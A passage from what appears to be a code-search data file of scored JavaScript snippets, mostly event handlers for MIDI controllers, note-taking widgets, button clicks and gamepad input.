dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {number} value The value expressed as an integer between 0 and 127.\n * @property {number} rawValue The raw MIDI value expressed as an integer between 0 and 127.\n */\n event.value = data1;\n event.rawValue = event.value;\n } else if (event.type === \"channelaftertouch\") {\n /**\n * Event emitted when a control change MIDI message has been received.\n *\n * @event InputChannel#channelaftertouch\n *\n * @type {object}\n * @property {string} type `channelaftertouch`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The raw MIDI value expressed as an integer between 0 and 127.\n */\n event.value = Utilities.from7bitToFloat(data1);\n event.rawValue = data1;\n } else if (event.type === \"pitchbend\") {\n /**\n * Event emitted when a pitch bend MIDI message has been received.\n *\n * @event InputChannel#pitchbend\n *\n * @type {object}\n * @property {string} type `pitchbend`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The raw MIDI value expressed as an integer (between 0 and\n * 16383).\n */\n event.value = ((data2 << 7) + data1 - 8192) / 8192;\n event.rawValue = (data2 << 7) + data1;\n } else {\n event.type = \"unknownmessage\";\n }\n\n this.emit(event.type, event);\n }", "title": "" }, { "docid": "301973037acf3548095abb0a26a3fbb0", "score": "0.48198223", "text": "function handle_preorder_changes(){\r\n\t\t\tif( $('.bc-btn--preorder').length ){\r\n\t\t\t\t$('.bc-btn--preorder, .product-detail__add-to-cart-button').text('Pre-Order Now');\r\n\t\t\t\t$('.bc-product-form__purchase-message').html('<div class=\"bc-product-form__preorder-message\">'+$('#preorder_messaging').html()+'</div>');\r\n\t\t\t\t$('.product-detail__find-a-dealer').css('display','none');\r\n\t\t\t\tif(!$('.bc-btn--preorder').parent().find('#preorder-notify-btn').length) {\r\n\t\t\t\t\t$('.bc-btn--preorder').parent().append('<div id=\"preorder-notify-btn\" class=\"product-detail__preorder-notify-button\">Notify When Available</div');\r\n\t\t\t\t}\r\n\t\t\t\t$('.bc-product-form__purchase-message').prepend('<div class=\"product-detail__preorder-message-info\">'+$('#preorder_messaging_moreinfo').html()+'</div');\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "b9e75f755422a362a834de49646aed1e", "score": "0.479959", "text": "function clickHandler(e) {\n props.history.push(\"/addnote\");\n }", "title": "" }, { "docid": "176ac7ac906aac8ceb248eddbfec3cbe", "score": "0.47949594", "text": "buttonPress(action) {\n this.props.onPress(\n action,\n this.props.entry.notificationName,\n this.props.entry.email,\n this.props.entry.senderEmail,\n this.props.entry.priority,\n this.props.entry.value,\n this.props.entry.description,\n this.props.entry.redeemed,\n this.props.entry.notificationType,\n this.props.entry.deadline,\n );\n }", "title": "" }, { "docid": "3750f014e790ae0b940434dd98d88c53", "score": "0.479304", "text": "function AppLayoutChangedHandler(e) {\n\t\tconsole.log('AppLayoutChangedHandler');\n\t\tif (showingHelp) {\n\t\t\tlocalUpdate();\n\t\t}\n\t}", "title": "" }, { "docid": "66559643a41e86d15895f0f670a01f92", "score": "0.47775286", "text": "function signalrAnnounceComment(postID, op, commentWriterId ) {\n\n let targetbuttonId = 'txtBox_' + postID;\n\n let commentContent = document.getElementById(targetbuttonId).value;\n\n $.connection.linkedInHub.server.announceComment({ PostId: postID, PostUserId: op, CommentWriterId: commentWriterId, CommentContent: commentContent });\n}", "title": "" }, { "docid": "1f6178708be1bce1c59df93c77f49c3c", "score": "0.47774485", "text": "*releaseButtonStart() {\n yield this.sendEvent({ type: 0x01, code: 0x13b, value: 0 });\n }", "title": "" }, { "docid": "0a57a03b33305ea11c95bd3e5cf9a8d8", "score": "0.4771972", "text": "setViewedItemNote(state, note) {\n state.viewedItemNote = note;\n }", "title": "" }, { "docid": "4721e571abe6c40cab3b21498da5749b", "score": "0.47689223", "text": "_setCommentButtonHandler() {\n\t this.commentButton.addEventListener('click', (ev) => {\n\t if (this._isCommentModalShown(this.linkedQuestion)) {\n\t this._hideCommentModal(this.linkedQuestion);\n\t } else {\n\t this._showCommentModal();\n\t }\n\t ev.preventDefault();\n\t ev.stopPropagation();\n\t });\n\t }", "title": "" }, { "docid": "da23d786a80d3dd248adbb64f9602566", "score": "0.4748086", "text": "function onCommentsButtonTouched(e){\n\t// Load the tags view\n\tvar view = Alloy.createController(\"media/comments\", {\n\t\t\"comments\": media.comments.data,\n\t\t\"count\": media.comments.count,\n\t\t\"mediaId\": media.id,\n\t\t\"onTextFieldFocus\": onCommentsFieldFocused,\n\t\t\"onTextFieldBlurred\": onCommentsFieldBlurred\n\t}).getView();\n\n\taddViewToSections(view);\n}", "title": "" }, { "docid": "318af64545e20829c728348b0834e5ce", "score": "0.47476283", "text": "function clickNoteEditor(e){\n self.focus_manager.setFocusObject(self.focus_manager.NOTE_EDITOR);\n }", "title": "" }, { "docid": "09ddb49b6232e6d7a8a555d1dd0d1b3c", "score": "0.47465032", "text": "function addNote()\n{\n\tcreatePop(\"Add Note\", submitNote,{})\n}", "title": "" }, { "docid": "b2786e928a25c42405472aa695c44dc5", "score": "0.47373834", "text": "function onNotificationConfirm(button1){\n\t \t\t\tif(button1 == 2)\n\t\t\t\t\t{\n\t\t\t\t\t $.mobile.changePage('#notification',{ transition:'slide' });\n\t\t\t\t\t loadnotificationpage();\n\t\t\t\t\t}\n\t }", "title": "" }, { "docid": "143ca4f19f147a6ebec782cb3b2f5c90", "score": "0.47354218", "text": "_homeButtonPressed() {\n this._broadcast(MESSAGE_TYPES.PILL_HOME_PRESSED, this.get('pillData'));\n }", "title": "" }, { "docid": "fa9be379ee17bb4de190e8e1fc57b835", "score": "0.47329572", "text": "function LaunchpadListener() {\n}", "title": "" }, { "docid": "447d18f8342ead62d9f9e4b614a2b032", "score": "0.47329012", "text": "_onTap(e) {}", "title": "" }, { "docid": "75c61d5bd75852c0718b6ee2a13fcfeb", "score": "0.47324407", "text": "function addNoteButton(note) {\n var li = $(\"<div />\", slide.contentDocument);\n li.addClass(\"noteButton\");\n var time = $(\"<div />\", slide.contentDocument);\n time.addClass(\"noteButtonTime\");\n time.text(new Date(note.time).toLocaleString());\n li.append(time);\n var summary = $(\"<div />\", slide.contentDocument);\n summary.addClass(\"noteButtonSummary\");\n summary.text(noteSummary(note));\n li.append(summary);\n li.click(function () showNote(note, li));\n $(\"#noteList\", slide.contentDocument).append(li);\n return li;\n }", "title": "" }, { "docid": "d5ce43ba2acad701c2bd6b204539bd47", "score": "0.47223443", "text": "function onMidi(status, data1, data2)\n{\n\tprintMidi(status, data1, data2);\n\n if (MIDIChannel(status) != 0) return;\n\n if (isChannelController(status))\n {\n // isPressed checks whether MIDI signal is above 0 in value declaring that button is being pressed\n var isPressed = data2 > 0;\n\n\t // This section changes the page within the script displayed on the device\n\t // data1 is the CC, the CC values are defined within the launchpad_contants script and range from 104 to 111 for the topbuttons\n switch(data1)\n {\n case TopButton.SESSION:\n activePage.onSession(isPressed);\n if (isPressed)\n {\n IS_GRID_PRESSED = true;\n println(\"here\")\n }\n if (isPressed && !IS_SHIFT_PRESSED)\n {\n setActivePage(gridPage);\n gridPage.setTempMode(TempMode.SCENE);\n }\n else if (!isPressed)\n {\n gridPage.setTempMode(TempMode.OFF);\n if (IS_GRID_PRESSED)\n {\n IS_GRID_PRESSED=false;\n println(\"notehre\")\n }\n }\n break;\n\n case TopButton.USER1:\n activePage.onUser1(isPressed);\n if (isPressed)\n {\n IS_KEYS_PRESSED=true;\n }\n if (isPressed && !IS_SHIFT_PRESSED)\n {\n setActivePage(keysPage);\n }\n else\n {\n if(IS_KEYS_PRESSED)\n {\n IS_KEYS_PRESSED=false;\n }\n }\n break;\n\n case TopButton.USER2:\n activePage.onUser2(isPressed);\n if (isPressed && !IS_SHIFT_PRESSED)\n {\n setActivePage(seqPage);\n }\n break;\n\n case TopButton.MIXER:\n activePage.onShift(isPressed);\n if (isPressed)\n {\n IS_SHIFT_PRESSED = true;\n }\n else\n {\n if(IS_SHIFT_PRESSED)\n {\n IS_SHIFT_PRESSED=false;\n }\n }\n break;\n\n case TopButton.CURSOR_LEFT:\n activePage.onLeft(isPressed);\n break;\n\n case TopButton.CURSOR_RIGHT:\n activePage.onRight(isPressed);\n break;\n\n case TopButton.CURSOR_UP:\n activePage.onUp(isPressed);\n break;\n\n case TopButton.CURSOR_DOWN:\n activePage.onDown(isPressed);\n break;\n }\n }\n\n if (isNoteOn(status) || isNoteOff(status, data2))\n {\n var row = data1 >> 4;\n var column = data1 & 0xF;\n\n println(\"row = \" + row + \"col = \" + column)\n\n if (column < 8)\n {\n activePage.onGridButton(row, column, data2 > 0);\n }\n else\n {\n activePage.onSceneButton(row, data2 > 0);\n }\n }\n}", "title": "" }, { "docid": "a8c9aac49b7e4597531d624cd62404c8", "score": "0.47204846", "text": "function instructionHandler(event)\n\t\t{\n\t\t\tg.instruct();\n\t\t\thideButtons(this);\n\t\t}", "title": "" }, { "docid": "8a60f54ee7b15a3dfec379a0ae89e4f3", "score": "0.47193933", "text": "function socketIOinput(socket) {\n socket.on('server-message', function(message) {\n var notes = message;\n recordIOStroke(notes[0], \"redButton\");\n recordIOStroke(notes[1], \"yellowButton\");\n recordIOStroke(notes[2], \"greenButton\");\n recordIOStroke(notes[3], \"blueButton\");\n });\n}", "title": "" }, { "docid": "ce8e047608674e80d74b5c0af87f353c", "score": "0.47134465", "text": "function btn_OnTouch() {\n bt.Connect(\"SerialBT\");\n}", "title": "" }, { "docid": "c1a48d63f093372300d8a1ad745339de", "score": "0.4710916", "text": "function receiveCommandEvent(nameAndSettings) {\n var commandName = nameAndSettings[0];\n var settings = nameAndSettings[1];\n\n if(commandName=='createView') { //finalize the layout\n \n for(var ndx in _widgets) { //configure any widgets needing to be configured\n var w = _widgets[ndx];\n if(w.doConfigure) \n w.doConfigure(); \n }\n \n for(var ndx in _widgets) { //press any buttons that need a-pressin'\n var w = _widgets[ndx];\n if(w && w.isSelected) { //if it exists and it has an isSelected field\n var id = w.id;\n var elem = document.getElementById(w.id); \n if(elem) \n elem.checked = w.isSelected; \n }\n }\n }\n \n else if(commandName=='top') {} //TODO?: bring this window to the top of the Z-order\n}", "title": "" }, { "docid": "9402871877365ae63c31e79669f77170", "score": "0.47094566", "text": "*pressButtonStart() {\n yield this.sendEvent({ type: 0x01, code: 0x13b, value: 1 });\n }", "title": "" }, { "docid": "39e37edc03e266bab468b6f7e3c7da73", "score": "0.470742", "text": "handleInteraction() {\r\n document.querySelector('button').onclick=function() {\r\n alert('clicked');\r\n }\r\n }", "title": "" }, { "docid": "4c20ba859f563f10516132e5a73914b2", "score": "0.4699307", "text": "function operatorClicked(eventData) {\n\tlet buttonInformation = eventData;\n\tlet operatorClicked = buttonInformation.target.textContent;\n\tinsertDisplay(operatorClicked);\n}", "title": "" }, { "docid": "2ba95d26503dc4ac0c152dd78e8607df", "score": "0.46936452", "text": "function displayConnectDialog() {\n var type=\"click\";\n var e=document.createEvent('MouseEvent');\n var b=document.querySelector(\".midiInSelM\");\n e.initEvent(type, true, true, window, 1, 0, 0, 0, 0, false, false, false, false, 0, null);\n b.dispatchEvent(e);\n}", "title": "" }, { "docid": "2ba95d26503dc4ac0c152dd78e8607df", "score": "0.46936452", "text": "function displayConnectDialog() {\n var type=\"click\";\n var e=document.createEvent('MouseEvent');\n var b=document.querySelector(\".midiInSelM\");\n e.initEvent(type, true, true, window, 1, 0, 0, 0, 0, false, false, false, false, 0, null);\n b.dispatchEvent(e);\n}", "title": "" }, { "docid": "113d9204edbcc0d69c5739c7831c4b88", "score": "0.46927238", "text": "*pressButtonL() {\n yield this.sendEvent({ type: 0x01, code: 0x136, value: 1 });\n }", "title": "" }, { "docid": "17e775540777c55d06a840e9ef0b1e50", "score": "0.46910143", "text": "function updateNotes (notesList) {\n const notesDisplayArea = document.getElementById('notesDisplayArea')\n notesDisplayArea.innerHTML = notesToHTML(notesList)\n notesDisplayArea.querySelectorAll('delete').forEach(button => {\n button.addEventListener('click', event => {\n const noteId = button.dataset.noteId\n console.log(button.dataset.noteId)\n deleteNote(noteId)\n })\n })\n}", "title": "" }, { "docid": "0f6782905fc19d7a9aab532c802569c0", "score": "0.46908", "text": "onClickAlertSubscribe() {\n // TODO: Set user as watcher for this alert when API ready\n }", "title": "" }, { "docid": "c50b5b6ae4e6b1444063b4f198dee9f6", "score": "0.46876836", "text": "notifyAction() {\n this.dispatchEvent(\n new CustomEvent('calltoaction', {\n bubbles: true,\n composed: true,\n detail: {\n productId: this.displayData.id,\n productName: this.displayData.name\n }\n })\n );\n }", "title": "" }, { "docid": "fedb6d974546e95eb53a1d4b972850f3", "score": "0.46872753", "text": "function setNoteClickHandle(id) {\n try {\n var noteElm = getNoteElementById(id);\n\n if (!noteElm) {\n window.TextSelection.jsError(\"setNoteClickHandle undefined\");\n return;\n }\n\n noteElm.addEventListener(\"click\", function () {\n var noteId = noteElm.getAttribute(\"id\");\n\n if (noteId !== undefined) {\n window.TextSelection.noteClicked(parseInt(noteId));\n }\n });\n } catch (e) {\n window.TextSelection.jsError(\"setNoteClickHandle\\n\" + e);\n }\n}", "title": "" }, { "docid": "383e1e6c2b246c61c90ba49f234f3716", "score": "0.46825448", "text": "function handleElementClickFtn(action, element, index) {\n if(action === 'selected' || action === 'deselected') {\n objInst.notesHeader.notify(action, { 'elem': element, 'idx' : index });\n } \n }", "title": "" }, { "docid": "5539015bf4e1885caa0c261d9e1e91ac", "score": "0.46724153", "text": "function HandleMIDI(event)\n{\n\n //Here we filter incoming note messages\n if (event instanceof NoteOn) { \n\n if(voiceCounter === GetParameter(\"Voice Index\") - 1){\n heldNotes[event.pitch] = true;\n event.send();\n }\n voiceCounter++;\n voiceCounter %= GetParameter(\"Group Polyphony\");\n }\n \n //If we get a 'note off' message that this voice is holding, turn it off. \n else if(event instanceof NoteOff) {\n\n //Listen for MIDI Note 0 to reset the voiceCounter if needed\n if(event.pitch === 0){\n voiceCounter = 0;\n }\n\n if(event.pitch in heldNotes) {\n event.send();\n delete heldNotes[event.pitch];\n }\n }\n \n //pass all other MIDI through\n else {\n event.send();\n } \n \n}", "title": "" }, { "docid": "1ba593cebb62496b6c85799866774781", "score": "0.4668466", "text": "function serialEvent(){\n inData = serial.readLine();\n console.log(\"in data is: \", inData);\n if( clicked === true && inData === '2B009FE8277B'){\n clicked = false;\n location.replace('http://localhost:8000/feedMe','_self');\n }\n if( clicked === true && inData === '2B009FD7395A'){\n clicked = false;\n location.replace('http://localhost:8000/cleanMe','_self');\n }\n if( clicked === true && inData === '2B009F8D0D34'){\n clicked = false;\n window.open('http://localhost:8000/attention','_self');\n }\n}", "title": "" }, { "docid": "6db957927d2191927129c0cd7ad37db7", "score": "0.4667531", "text": "function commentClickHandler(){\n\t/**\n\t * Capture analytics event for button click for reporting purposes\n\t */\n\tTi.Analytics.featureEvent('app.briefcase.commentbtn.clicked');\n\t\n\t/**\n\t * update the state variable for the button\n\t */\n\tcommentStatus = !commentStatus;\n\t\n\t/**\n\t * set the icon variable to the proper reference based on the state\n\t */\n\tvar icon = !commentStatus ? 'icon-comment-alt' : 'icon-comment';\n\t$.commentBtn.setIcon(icon);\n}", "title": "" }, { "docid": "7329c559937261de7f4631f5463813b3", "score": "0.46621948", "text": "workPair(midiEventPair) {\n // console.log(midiEventPair);\n\n let event = new CustomEvent(\"ndStarPowerEvent\");\n document.body.dispatchEvent(event);\n }", "title": "" }, { "docid": "33bed9ed4d62984cf2178c63b77205a0", "score": "0.46614638", "text": "buttonHandler(){\n\t\tvar items = this.props.hey.questions.present;\n\t\tlet conditions = this.props.hey.conditions.present;\n\t\tlet counter = this.props.hey.counter.present;\n\t\tconst action = this.props.action;\n\t\tconst increment = this.props.increment;\n\t\tconst hide = this.props.hideState;\n\t\tsendButtonHandler(items,conditions,counter,action,increment,hide);\n\t}", "title": "" }, { "docid": "92c199f0e9a0879f7ff09c1007994757", "score": "0.4658304", "text": "function mousePressed(event) {\n\t// number below chooses the pitch of the note played\n playNote(62);\n}", "title": "" }, { "docid": "a9fd4d9048e5e925cd48b52190c7a622", "score": "0.46520805", "text": "buttonClicked() {\n alert(\"buttonclicked of button\");\n }", "title": "" }, { "docid": "a495df0ddfac9702483835dae2ff1a76", "score": "0.4648498", "text": "createdCallback() {\n this.innerHTML = StickyNote.TEMPLATE;\n this.$note = '';\n this.$noteElement = this.querySelector('#note');\n this.$titleElement = this.querySelector('#title');\n this.$deleteElement = this.querySelector('#delete');\n this.$deleteElement.addEventListener('click', () => this.deleteNote());\n }", "title": "" }, { "docid": "2a31899f2024e2588e9f3f52c6662033", "score": "0.46463466", "text": "function addPinnedNoteListener() {\n\n pinned_notes.addEventListener('click', e => {\n\n e.preventDefault();\n\n //pick color\n if (e.target.classList.contains('my-color-picker')) {\n\n pickColor(e.target, \"pinned\");\n\n //remove pinned note\n } else if (e.target.classList.contains('note-pinned')) {\n\n const note_id = e.target.parentElement.getAttribute(\"id\")\n\n db.collection('notes').doc(note_id).update({\n\n pinned: false\n });\n\n e.target.parentElement.remove();\n }\n })\n}", "title": "" }, { "docid": "f355ad2bdaf4413f2b91034fe18cb2b8", "score": "0.46393847", "text": "function onNoteClick(e, museStaff) {\n // Highlight note\n const noteContainer = e.target.parentNode;\n if(noteContainer.tagName === \"TD\"){\n return;\n }\n if(!noteContainer.className.includes(\"highlighted\")){\n noteContainer.setAttribute('class', noteContainer.className + \" highlighted\");\n }\n\n // Set pointer position to the same td column number of note\n const td = e.target.parentNode.parentNode;\n var noteNumberIndex = null;\n getNonHiddenTds(e.target.parentNode.parentNode.parentNode.cells).filter( (noteTd, index) => {\n if(noteTd === td) {\n noteNumberIndex = index;\n }\n return noteTd === td\n });\n\n // Get <table> measure that was clicked on\n // loop up the parent elements until el is the <table> element\n var el = td;\n while ((el = el.parentElement) && el.tagName !== 'TABLE');\n // Get measure number out of measure id (measure0 => 0)\n var regex = /\\d+/;\n const measureId = parseInt(el.id.match(regex));\n console.log(measureId)\n // If moving pointer on same measure\n if(museStaff.measurePointedOn === museStaff.measures[measureId]) {\n // Remove listener for clicking old pointed at column to add notes\n Object.values(museStaff.measurePointedOn.measure.rows).map( (tr) => {\n getNonHiddenTds(tr.cells)[museStaff.measurePointedOn.pointer.position].removeEventListener('click', museStaff.addNoteClickListener);\n getNonHiddenTds(tr.cells)[museStaff.measurePointedOn.pointer.position].removeEventListener('mouseover', museStaff.addNoteTdHoverListener );\n getNonHiddenTds(tr.cells)[museStaff.measurePointedOn.pointer.position].removeEventListener('mouseout', museStaff.removeNoteTdHoverListener );\n })\n museStaff.measures[measureId].setPointerPosition(noteNumberIndex)\n // Make new note containers be clickable for changing pointer position\n const museMeasureNotes = Array.from(museStaff.measures[measureId].measure.querySelectorAll(\".museStaffNote\"));\n museMeasureNotes.map( (noteContainer) => {\n noteContainer.addEventListener('click', museStaff.changePointerListener );\n })\n // Add listener for clicking newly pointed column to add notes\n Object.values(museStaff.measures[measureId].measure.rows).map( (tr) => {\n getNonHiddenTds(tr.cells)[museStaff.measures[measureId].pointer.position].addEventListener('click', museStaff.addNoteClickListener );\n getNonHiddenTds(tr.cells)[museStaff.measures[measureId].pointer.position].addEventListener('mouseover', museStaff.addNoteTdHoverListener );\n getNonHiddenTds(tr.cells)[museStaff.measures[measureId].pointer.position].addEventListener('mouseout', museStaff.removeNoteTdHoverListener );\n })\n } else {\n // Make old pointed measure's recently changed note containers be clickable for changing pointer position\n const museMeasureNotes = Array.from(museStaff.measurePointedOn.measure.querySelectorAll(\".museStaffNote\"));\n museMeasureNotes.map( (noteContainer) => {\n noteContainer.addEventListener('click', museStaff.changePointerListener );\n })\n // Set new measure to be pointed on (and remove pointer from old pointed on measure)\n museStaff.setMeasurePointedOn(measureId, noteNumberIndex);\n }\n}", "title": "" }, { "docid": "bb10199acfbdc45c4b1d7261c8ed2773", "score": "0.4638805", "text": "function commandButtonHandle(){\n\t\tswitch(this.id){\n\t\t\tcase \"commandbutton_1\":\n\t\t\t\tonDealCardsClicked();\n\t\t\t\tbreak;\n\t\t\tcase \"commandbutton_2\":\n\t\t\t\tonMaxBetClicked();\n\t\t\t\tbreak;\n\t\t\tcase \"commandbutton_3\":\n\t\t\t\tonAddFiveClicked();\n\t\t\t\tbreak;\n\t\t\tcase \"commandbutton_4\":\n\t\t\t\tonRemoveFiveClicked();\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "b766babe719db1bf58325520fc48528d", "score": "0.46326247", "text": "function toggleNoteOnEvent(stepNumber, instrumentIndex, noteNumber, velocity) {\n\tif (!unsetNoteOnEvent(stepNumber, instrumentIndex, noteNumber)) {\n\t\tsetNoteOnEvent(stepNumber, instrumentIndex, noteNumber, velocity);\n\t}\n}", "title": "" }, { "docid": "e5821cafb1d46ab2061192a75493bfbb", "score": "0.4628476", "text": "async function confirmClick(removeButton){\n //let noteId = $(removeButton).parent().attr('id');\n if (confirm('Are you sure?')){\n deleteNote (removeButton);\n } else {\n renderNotes ();\n }\n}", "title": "" }, { "docid": "9b388bc5db6c455216860745eda4ea9b", "score": "0.4626038", "text": "function bt_OnReceive(data) {\n //app.ShowPopup(\"data=\"+data);\n var data_array = data.split(\",\");\n diag_text_voltage.SetText(\"Voltage: \" + data_array[0]);\n diag_text_current.SetText(\"Current: \" + data_array[1]);\n}", "title": "" }, { "docid": "d7bb64a166b6a0054c4e82beb35dc148", "score": "0.4623152", "text": "function setOnNotificationDisplayed() {\n firebase.notifications()\n .onNotificationDisplayed(async (notification) => {\n // Process your notification as required\n // ANDROID: Remote notifications do not contain the channel ID. You will have to specify this manually if you'd like to re-display the notification\n const notif = convertNotification(notification);\n \n\n store.dispatch(actions.addNotification(notif));\n });\n}", "title": "" }, { "docid": "7a97f469a22b78965e515ccfa0fb46d9", "score": "0.46231028", "text": "function onDeviceReady() {\n // refers to event listener at the top of document \n\t\talert(\"device ready\");\n // when user hits resume/pause the opposite command will be changed to false \n\t\tdocument.addEventListener(\"resume\", onResume, false);\n\t\tdocument.addEventListener(\"pause\", onPause, false);\n\t\t\n\t\tlaunched_count++;\n\t\tupdateDisplay();\n }", "title": "" }, { "docid": "d3f2072c62bfc4c90afe30a1d287f673", "score": "0.46219778", "text": "function listenToButtons() {\n\t\tconst currentlyDisplayed = employeesData.find(isDisplayed);\n\t\tif (hasPrevious(currentlyDisplayed.id)) {\n\t\t\tpreviousButton.addEventListener('click', () => {\n\t\t\t\tupdateContactDetails(getAdjacentContactId('previous'));\n\t\t\t});\n\t\t}\n\t\tif (hasNext(currentlyDisplayed.id)) {\n\t\t\tnextButton.addEventListener('click', () => {\n\t\t\t\tupdateContactDetails(getAdjacentContactId('next'));\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "82dd72bb993368d571911a91e4d5b7c0", "score": "0.46160176", "text": "work(midiEvent) {\n this.event.nd = {};\n this.event.nd.name = this.mapping[midiEvent.nd.note];\n\n // console.log(midiEvent.nd);\n\n document.body.dispatchEvent(this.event);\n }", "title": "" } ]
979a41bf1117c0c24e1991e96feb378f
Relax buttons hover effect leave
[ { "docid": "49f9e383e4fb195c0bc8c473abcf312a", "score": "0.6945709", "text": "function relaxBtnHoverEffectLeave() {\r\n $(this).stop().animate({\"opacity\" : 0}, {\"duration\" : 750, \"queue\" : false});\r\n}", "title": "" } ]
[ { "docid": "d99879be0e98c557d265c772a8163c65", "score": "0.71584266", "text": "function hover() {\n raycaster.setFromCamera( pointer, camera );\n const intersects = raycaster.intersectObjects( buttons ); // De objecten binnen de array aan buttons die doorkruist worden door de ray van de raycaster.\n\n if ( intersects.length > 0 ) {\n if ( hoveredItem != intersects[ 0 ].object ) {\n hoveredItem = intersects[ 0 ].object;\n hoveredItem.material.transparent = true;\n hoveredItem.material.opacity = 0.3;\n }\n } else {\n if ( hoveredItem ) hoveredItem.material.opacity = 0.8;\n hoveredItem = null;\n }\n}", "title": "" }, { "docid": "5f0e29b6b041584b5c6e8d54a060d3ba", "score": "0.7043833", "text": "_switchButtonOnMouseLeave() {\n const that = this;\n\n if (that.disabled || that.readonly) {\n return;\n }\n\n that.$.removeClass('hovered');\n }", "title": "" }, { "docid": "4d3df24716d71810e3a0828943b57e7f", "score": "0.6970654", "text": "function disableRelaxBtnHoverEffect($btn) {\r\n $btn.off('mouseenter', relaxBtnHoverEffectEnter).off(\"mouseleave\", relaxBtnHoverEffectLeave);\r\n}", "title": "" }, { "docid": "450efb54e96ffd6e5ff5d43c52b352b0", "score": "0.6931409", "text": "function handleButtonHover(event) {\n\n var initScareX = 1;\n var initScareY = 1;\n if (event.type == \"mouseover\") {\n createjs.Tween.get(event.currentTarget).to({ scaleX: initScareX * 1.0625, scaleY: initScareY * 1.0625 }, 100)\n .to({ scaleX: initScareX, scaleY: initScareY }, 100)\n .to({ scaleX: initScareX * 1.0625, scaleY: initScareY * 1.0625 }, 100);\n }\n if (event.type == \"mouseout\") {\n createjs.Tween.get(event.currentTarget).to({ scaleX: initScareX, scaleY: initScareY }, 100);\n }\n }", "title": "" }, { "docid": "5d912e981668e1a3dc0c482992285145", "score": "0.68391436", "text": "function hoverButtonColorOff(e) {\n e.target.style.background = 'goldenrod';\n}", "title": "" }, { "docid": "fa889cdd7c23d5749e487b9b3d12e237", "score": "0.6808836", "text": "hoverListenersOff() {\n for (const button of this.buttonsAsArray.filter(x => x.type !== 'label')) {\n button.hoverListenerOff();\n }\n }", "title": "" }, { "docid": "d2254baa0e93bd8c0389bcce37f8d8a1", "score": "0.67843795", "text": "function removeHoverState(){\n\t\t\t\t\n\t\tg_objHandleTip.removeClass(\"ug-button-hover\");\n\t}", "title": "" }, { "docid": "3be9107693a2eb41f7d0e53c699d2db3", "score": "0.66783714", "text": "_buttonsMouseEventsHandler(event) {\n const that = this;\n\n if (that.disabled) {\n return;\n }\n\n if (event.type === 'mouseenter') {\n that.setAttribute('hover', '');\n event.target.setAttribute('hover', '');\n }\n else {\n that.removeAttribute('hover');\n event.target.removeAttribute('hover');\n }\n }", "title": "" }, { "docid": "3be9107693a2eb41f7d0e53c699d2db3", "score": "0.66783714", "text": "_buttonsMouseEventsHandler(event) {\n const that = this;\n\n if (that.disabled) {\n return;\n }\n\n if (event.type === 'mouseenter') {\n that.setAttribute('hover', '');\n event.target.setAttribute('hover', '');\n }\n else {\n that.removeAttribute('hover');\n event.target.removeAttribute('hover');\n }\n }", "title": "" }, { "docid": "394a56ea3076626e54424cdc9d8516c8", "score": "0.66684544", "text": "function relaxBtnHoverEffectEnter() {\r\n $(this).stop().animate({\"opacity\" : 0.75}, {\"duration\" : 750, \"queue\" : false});\r\n}", "title": "" }, { "docid": "e87608c864725bc5a6a71ccee6e870fb", "score": "0.6660984", "text": "function enableRelaxBtnHoverEffect($btn, time) {\r\n if($btn.hasClass('relax-done-btn')) return; // Task #553\r\n \r\n setTimeout(function() {\r\n $btn.off(\"mouseenter\", relaxBtnHoverEffectEnter).on(\"mouseenter\", relaxBtnHoverEffectEnter);\r\n $btn.off(\"mouseleave\", relaxBtnHoverEffectLeave).on(\"mouseleave\", relaxBtnHoverEffectLeave);\r\n }, time || 2000);\r\n}", "title": "" }, { "docid": "e1803c13f030578bf85156fbf15f1ab9", "score": "0.664541", "text": "function hover() {\n $(\".button2\").on(\"mouseenter\", function() {\n return $(this).addClass(\"hover\");\n });\n }", "title": "" }, { "docid": "fb938333422d8bce6dabb43f30771b88", "score": "0.6641266", "text": "function mouseEvents(){\n \n \n $('#add').hover(function(){\n $('#add').toggleClass('buttonHover');\n });\n}", "title": "" }, { "docid": "fbb374a95c879397b465d9e7776cff99", "score": "0.6633129", "text": "static onHover() {\n for (var i = 0; i < game.getUI.uiObjects.length; i++) {\n\n if (game.getUI.uiObjects[i] instanceof Button) {\n var buttonObj = game.getUI.uiObjects[i];\n\n if (buttonObj.mouseInside() && buttonObj.getTexture !== \"BUTTON2\") {\n\n buttonObj.setTexture(\"BUTTON2\");\n\n } else if (!buttonObj.mouseInside() && buttonObj.getTexture === \"BUTTON2\") {\n\n buttonObj.setTexture(\"BUTTON\");\n }\n\n }\n }\n }", "title": "" }, { "docid": "87287c2e56cbee4fdbe4351e1849f34c", "score": "0.65910083", "text": "function hoverEffect(element) {\n $(element).on(\"mouseover\", function() {\n if ($(this).hasClass(\"no-a-b\")) return;\n var winWidth = $(document).width();\n if (winWidth < 700) return;\n var $btn = $(this);\n $btn.css(\"background-color\", \"rgba(155,155,155,0.2)\");\n });\n $(element).on(\"mouseout\", function() {\n if ($(this).hasClass(\"no-a-b\")) return;\n var $btn = $(this);\n $btn.css(\"background-color\", \"transparent\");\n });\n\n return element;\n}", "title": "" }, { "docid": "e84cdf3f2023990a12dcc66612f79a01", "score": "0.65658486", "text": "mouseleave() {\n this.hoverActive = false;\n }", "title": "" }, { "docid": "b0d3616c5916d68b6441dc49679c2ed7", "score": "0.6545734", "text": "_switchButtonOnMouseEnter() {\n const that = this;\n\n if (that.disabled || that.readonly) {\n return;\n\n }\n\n that.$.addClass('hovered');\n }", "title": "" }, { "docid": "82d29c464f2a2a6a19c9ec913561a154", "score": "0.6502769", "text": "function onLeave() 